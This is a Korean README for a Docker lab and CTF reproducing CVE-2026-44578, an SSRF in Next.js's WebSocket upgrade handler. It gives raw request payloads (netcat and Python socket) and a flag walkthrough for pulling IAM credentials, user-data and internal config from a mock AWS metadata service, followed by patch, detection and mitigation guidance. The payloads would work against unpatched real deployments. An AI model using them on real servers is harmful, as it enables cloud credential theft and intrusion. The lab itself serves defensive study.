
이 실험실은 괜찮을 수도 있고 아닐 수도 있지만, 테스트 중이며 작동해야 합니다. AI에게 물어보세요 하하하
| 필드 | 값 |
|---|
| CVE | CVE-2026-44578 |
| GHSA | GHSA-c4j6-fc7j-m34r |
| CVSS 3.1 | 8.6 HIGH (AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N) |
| 유형 | SSRF (CWE-918) |
| 영향을 받는 버전 | Next.js 13.4.13 – 15.5.15 및 16.0.0 – 16.2.4 |
| 패치된 버전 | 15.5.16 및 16.2.5 |
| 인증 | 없음 |
| 사용자 상호작용 | 없음 |
공격자 (host: 0.0.0.0)
│ HTTP :3000 (공개)
▼
┌──────────────────────────┐ 동일 네트워크 네임스페이스 ┌─────────────────────┐
│ nextjs-vuln │ localhost:80 ──────────► │ imds-sidecar │
│ Next.js 15.5.0 │ │ Fake AWS IMDSv1 │
│ "Nimbus Analytics" │ │ (자격 증명, │
│ (Node.js 내장 서버) │ │ user-data, 인덱스) │
└──────────────────────────┘ └─────────────────────┘
nextjs-vuln (포트 3000): 취약한 애플리케이션으로, 0.0.0.0:3000에 노출됩니다.imds-sidecar: Next.js 컨테이너의 네임스페이스 내부의 localhost:80에 존재하는 AWS 메타데이터 서비스 모의 서버로, 실제 클라우드 인스턴스를 모델링합니다. 호스트에서 직접 접근할 수 없습니다 (게시된 포트 없음). CVE-2026-44578/
├── docker-compose.yml
├── exploit/
│ └── exploit.py # 자동화된 PoC (5가지 프로브)
├── imds-mock/
│ ├── Dockerfile
│ └── server.py # Fake IMDSv1 + 비밀 경로
└── nextjs-app/ # 실제적인 "Nimbus Analytics" 앱
├── app/
│ ├── globals.css
│ ├── layout.js # navbar/footer
│ ├── page.js # 랜딩 페이지
│ ├── api/health/route.js
│ ├── login/page.js
│ ├── pricing/page.js
│ └── dashboard/page.js
├── Dockerfile
└── package.json # [email protected] (취약 버전)
router-server.ts의 WebSocket 업그레이드 핸들러는 파싱된 URI에 parsedUrl.protocol이 있을 때 proxyRequest()를 호출하지만, 일반 HTTP 핸들러가 항상 설정했던 finished 및 statusCode 플래그를 확인하지 않습니다:
// 취약 (<= 15.5.15)
- if (parsedUrl.protocol) {
- return await proxyRequest(req, socket, parsedUrl, head)
// 패치 (커밋 c4f69086)
+ if (finished && parsedUrl.protocol) {
+ if (!statusCode) {
+ return await proxyRequest(req, socket, parsedUrl, head)
+ }
+ return socket.end()
공격 경로는 이중 슬래시가 있는 절대 URI 요청 라인을 사용합니다:
GET http:///path. normalizeRepeatedSlashes는 http:///을 http:/로 축소하여 호스트 이름이 없어지고, http-proxy는 그런 다음 경로를 그대로 유지한 채 localhost:80에 연결합니다:
GET http:///latest/meta-data/iam/security-credentials/<ROLE> HTTP/1.1
Host: 127.0.0.1:3000
Connection: Upgrade
Upgrade: websocket
Sec-WebSocket-Version: 13
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==
Connection: Upgrade + Upgrade: websocket 헤더가 존재하면 요청이 보안 검사가 있는 HTTP 핸들러 대신 취약한 업그레이드 핸들러로 전달됩니다.
docker compose up -d --build
앱이 응답하는지 확인:
curl -s http://127.0.0.1:3000/api/health
curl -s http://localhost:3000/ | head
0.0.0.0에서 실행되도록 docker-compose.yml의 포트 매핑은 이미 모든 인터페이스에서 3000:3000을 노출합니다.
nc) 사용printf "GET http:///latest/meta-data/ HTTP/1.1\r\n\
Host: 127.0.0.1:3000\r\n\
Connection: Upgrade\r\n\
Upgrade: websocket\r\n\
Sec-WebSocket-Version: 13\r\n\
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n" \
| nc -w 5 127.0.0.1 3000
python3 - <<'EOF'
import socket
s = socket.create_connection(("127.0.0.1", 3000), timeout=5)
s.sendall(b"GET http:///latest/meta-data/instance-id HTTP/1.1\r\n"
b"Host: 127.0.0.1:3000\r\n"
b"Connection: Upgrade\r\nUpgrade: websocket\r\n"
b"Sec-WebSocket-Version: 13\r\n"
b"Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n")
print(s.recv(4096).decode())
EOF
python3 exploit/exploit.py 127.0.0.1 3000
4단계로 구성된 100% 수동 전체 흐름입니다. 내부 서비스(localhost:80)에 4개의 플래그가 숨겨져 있습니다. 이 가이드는 첫 번째 플래그까지의 흐름을 보여주고 나머지를 찾을 수 있는 경로를 안내합니다.
# 서버 핑거프린트
curl -sI http://127.0.0.1:3000/
# HTTP/1.1 200 OK
# x-powered-by: Next.js
# x-http-method-override: 0.0.0.0
# 소켓을 통한 열린 포트 확인 (nmap 없이)
python3 -c 'import socket
for p in (22,80,3000,6379):
s=socket.socket(); open_=(s.connect_ex(("127.0.0.1",p))==0); s.close()
if open_: print(p,"OPEN")'
공격자 측에서는 127.0.0.1:80에 직접 접근할 수 없습니다: 유일한 벡터는 내부 서비스와 동일한 네트워크에 있는 Next.js 서버가 우리를 대신해 요청하도록 하는 것입니다.
먼저 메타데이터 서비스의 인덱스를 요청하여 SSRF를 확인합니다:
printf "GET http:///latest/meta-data/ HTTP/1.1\r\n\
Host: 127.0.0.1:3000\r\n\
Connection: Upgrade\r\nUpgrade: websocket\r\n\
Sec-WebSocket-Version: 13\r\n\
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n" | nc -w 5 127.0.0.1 3000
인덱스 응답 → 후보: instance-id, hostname,
iam/security-credentials/, user-data (첫 번째 플래그). latest/meta-data/의 인덱스는 계속 탐색할 가치가 있는 하위 키도 공개합니다.
GET http:///latest/user-data HTTP/1.1
| 부분 | 기능 |
|---|---|
GET | 취약점은 GET만 프록시합니다 |
http:///latest/user-data | 절대 URI. http:///은 http:/로 축소됨 → 호스트 이름 null → 프록시가 경로 /latest/user-data를 유지한 채 localhost:80에 연결 |
Host: 127.0.0.1:3000 | 없으면 서버가 400으로 응답 |
Connection: Upgrade + Upgrade: websocket | 요청을 취약한 업그레이드 핸들러로 전환 (일반 HTTP 핸들러는 검증함) |
Sec-WebSocket-Version: 13 / -Key: dGhlIHNhbXBsZSBub25jZQ== | 정당한 핸드셰이크에 필요한 최소 헤더 |
종료: raw 소켓에서 \r\n\r\n (본문 없음).
# 옵션 A: netcat
printf "GET http:///latest/user-data HTTP/1.1\r\n\
Host: 127.0.0.1:3000\r\n\
Connection: Upgrade\r\nUpgrade: websocket\r\n\
Sec-WebSocket-Version: 13\r\n\
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n" | nc -w 5 127.0.0.1 3000
# 옵션 B: Python raw 소켓 (nc 없이 동일한 정밀도)
python3 - <<'EOF'
import socket
s = socket.create_connection(("127.0.0.1", 3000), timeout=5)
s.sendall(b"GET http:///latest/user-data HTTP/1.1\r\n"
b"Host: 127.0.0.1:3000\r\n"
b"Connection: Upgrade\r\nUpgrade: websocket\r\n"
b"Sec-WebSocket-Version: 13\r\n"
b"Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n")
print(s.recv(4096).decode())
EOF
출력 — 첫 번째 플래그는 내부 서비스 응답 본문에 도착합니다:
HTTP/1.0 200 OK
server: BaseHTTP/0.6 Python/3.12.14
#!/bin/bash
echo 'instance started'
DB_PASS=supersecret123
FLAG{*******1_de_4*******}
플래그 1/4 획득. server: BaseHTTP/0.6 ... (Python mock) 헤더는 요청이 공격자 → Next.js → localhost:80으로 이동했음을 확인합니다. 즉, 플래그가 SSRF를 통해 내부 네트워크에서 유출된 것입니다. 나머지 3개는 메타데이터 서비스와 내부 서비스의 경로에 흩어져 있습니다 — latest/meta-data/의 인덱스가 지도입니다. 나머지를 찾으세요.
Fake IMDS(localhost:80)는 실제 AWS 메타데이터 서비스를 모델링합니다: 탐색 가능한 트리입니다. 각 디렉터리(/로 끝남)는 하위 경로의 인덱스로 응답합니다. / 없이 디렉터리를 요청하면 301 리디렉션이 반환됩니다. 숨겨진 경로는 없습니다: 어떤 플래그도 추측을 요구하지 않습니다 — 모든 것은 인덱스를 탐색하여 발견됩니다.
/ → latest/
├── meta-data/ → ami-id, hostname, iam/, instance-id, instance-type,
│ local-hostname, placement/, public-hostname, tags/
├── dynamic/ → instance-identity/
└── user-data → 부팅 스크립트 (internal/config를 가리킴)
| 경로 | 내용 |
|---|---|
latest/meta-data/ | 메타데이터 인덱스 (위 참조) |
latest/meta-data/iam/security-credentials/ | 역할 lab-ssrf-role |
latest/meta-data/iam/security-credentials/lab-ssrf-role | AccessKeyId, SecretAccessKey 및 Token이 포함된 JSON |
latest/user-data | DB 자격 증명이 포함된 부팅 스크립트 |
latest/dynamic/instance-identity/document | 인스턴스 ID JSON |
internal/config | 내부 서비스 구성 (DB, API 키) — user-data에서 참조됨 |
CTF 도전: 4개의 플래그가 있으며, 각각은 AWS에 대한 SSRF 공격 체인의 실제 아티팩트입니다: (1) 부팅 user-data, (2) IAM 자격 증명, (3) identity document, (4) 내부 서비스 구성. 해당 값은 게시되지 않았습니다. 인덱스(
/→latest/→ …)를 탐색하면 배너에서 배너로 이동합니다. user-data 스크립트는 네 번째 플래그가 어디에 있는지 알려줍니다. 경로를 추측할 필요가 없습니다: 404는 존재하지 않는 경로를 만들고 있다는 신호일 뿐입니다.
플래그→플래그 체인의 전체 버전은 별도 문서에 있습니다: SOLUCION.md (각 플래그는 다음 플래그에 대한 힌트를 제공하며, 이 README 밖에 있습니다).
규칙: 각 플래그에는 힌트, 장애물 및 해결책이 있습니다. 먼저 힌트로 시도하세요. 막혔을 때 장애물을 사용하세요. 숨겨진 경로는 없습니다: 아무도 속이지 않으며, 모든 것은 탐색됩니다.
시작하기 전에 두 가지 알림:
ssrf() 헬퍼가 이미 준비되어 있습니다 SOLUCION.md → 준비에서: 복사하여 가이드의 나머지 부분에 사용하세요. Connection: Upgrade + Upgrade: websocket과 함께 GET http:///<path> 요청을 보냅니다.RkxBR3… 블롭(FLAG{…}의 base64)을 볼 수 있습니다. 해독하세요:
echo <blob> | base64 -d./latest/user-data에 GET 요청하면 무엇이 반환되나요? AWS 공격자가 가장 먼저 확인하는 것입니다./를 붙여 나열됩니다.
ssrf latest/meta-data는 301 Moved Permanently 및 Location: latest/meta-data/를 반환합니다. = "나를 따라오세요". nc에는 자동 리디렉션이 없습니다: 슬래시를 포함하여 요청을 반복하세요.ssrf latest/user-data
본문에서: DB_PASS=…가 포함된 부팅 스크립트(플래그 1이 여기에 있음)와 플래그 4의 지도인 curl -s http://internal/config 줄이 있습니다.
latest/meta-data/iam/security-credentials/를 탐색하고 나타나는 역할을 요청하세요.Token은 채우기가 아님): 200은 긴 JSON을 반환합니다.
AccessKeyId/SecretAccessKey가 눈에 띕니다. 플래그 2는 거기에 없습니다: Token 필드는 단일 base64 문자열입니다. 해독하세요.ssrf latest/meta-data/iam/security-credentials/lab-ssrf-role
latest/meta-data/가 유일한 트리가 아닙니다. 루트 인덱스를 보세요: 거의 아무도 열지 않는 dynamic/이 있습니다.dynamic/ → instance-identity/ →
document. 세 단계입니다. 각 단계에서 ssrf는 /로 끝나야 합니다(document 제외). 301 후 다시 요청하지 않아 길을 잃는 사람들이 있습니다.ssrf latest/dynamic/
ssrf latest/dynamic/instance-identity/
ssrf latest/dynamic/instance-identity/document
ID JSON에는 FLAG 키가 포함되어 있으며 플래그 3(base64)이 있습니다. 명령 시리즈가 두 번째 단계에서 301을 반환했다면 장애물 1의 교훈을 기억하세요.
curl -s http://internal/config.internal은 해석되지 않습니다.
"internal"은 사용자 측이 아닌 서버 측의 별칭입니다. 호스트를 변경하지 마세요: SSRF는 항상 localhost:80에 도달합니다. 경로만 선택하면 됩니다.ssrf internal/config
4개 모두 확인 (base64 블롭 → 디코딩):
ssrf latest/user-data | grep -o 'RkxBR3[A-Za-z0-9+/=]*' | base64 -d; echo
ssrf latest/dynamic/instance-identity/document | grep -o 'RkxBR3[A-Za-z0-9+/=]*' | base64 -d; echo
ssrf internal/config | grep -o 'RkxBR3[A-Za-z0-9+/=]*' | base64 -d; echo
ssrf latest/meta-data/iam/security-credentials/lab-ssrf-role | grep -o 'RkxBR3[A-Za-z0-9+/=]*' | base64 -d; echo
4/4 플래그 확보. 어떤 것이 FLAG{...}로 나오지 않으면, user-data의 curl(플래그 4 장애물) 또는 인덱스의 /(플래그 1 장애물)를 확인하세요.
수동 사용 예시, IAM 자격 증명:
printf "GET http:///latest/meta-data/iam/security-credentials/lab-ssrf-role HTTP/1.1\r\n\
Host: 127.0.0.1:3000\r\n\
Connection: Upgrade\r\n\
Upgrade: websocket\r\n\
Sec-WebSocket-Version: 13\r\n\
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n" | nc -w 5 127.0.0.1 3000
예상 결과 — 응답은 Next.js 배너가 아닌 server: BaseHTTP/0.6 Python/3.12.x(mock)와 함께 도착하며, 이는 요청이 서버에 의해 localhost:80으로 이루어졌음을 증명합니다:
HTTP/1.0 200 OK
server: BaseHTTP/0.6 Python/3.12.14
content-type: text/plain
{"Code": "Success", ..., "AccessKeyId": "AKIA-FAKE-ACCESS-KEY-ID", "SecretAccessKey": "FAKE/Secret+Access/Key+1234567890abcdef", ...}
PoC는 SSRF를 확인하지만 플래그를 검열합니다: FLAG{...}의 base64 블롭과 평문 FLAG{...}는 검열된 텍스트로 표시됩니다. 값은 수동 탐색(위 CTF 섹션)을 통해서만 얻을 수 있습니다.
--- IAM Creds ---
HTTP/1.0 200 OK
{"Code": "Success", ..., "Token": "RkxBR3******** (암호화된 플래그: 수동 공격) ***"}
--- User Data ---
HTTP/1.0 200 OK
#!/bin/bash
flag=RkxBR3******** (암호화된 플래그: 수동 공격) ***
http:/// 정규화에서 호스트 이름이 손실됨).Upgrade: websocket을 400으로 거부).패치(Next.js ≥ 15.5.16)가 공격을 차단하는지 확인하려면 nextjs-app/package.json의 버전을 15.5.16로 변경하고, 다시 빌드한 후 동일한 페이로드를 다시 실행하세요: 연결이 데이터 없이 종료됩니다.
Next.js 프로세스 로그의 시그니처:
Failed to proxy http:/ — 프록시가 실행되었지만 대상에 도달할 수 없었습니다.http:가 포함된 절대 URI와 Connection: Upgrade / Upgrade: websocket 헤더가 함께 있는 요청.HttpTokens=required)를 적용.if ($request_uri ~* "^https?://") { return 400; }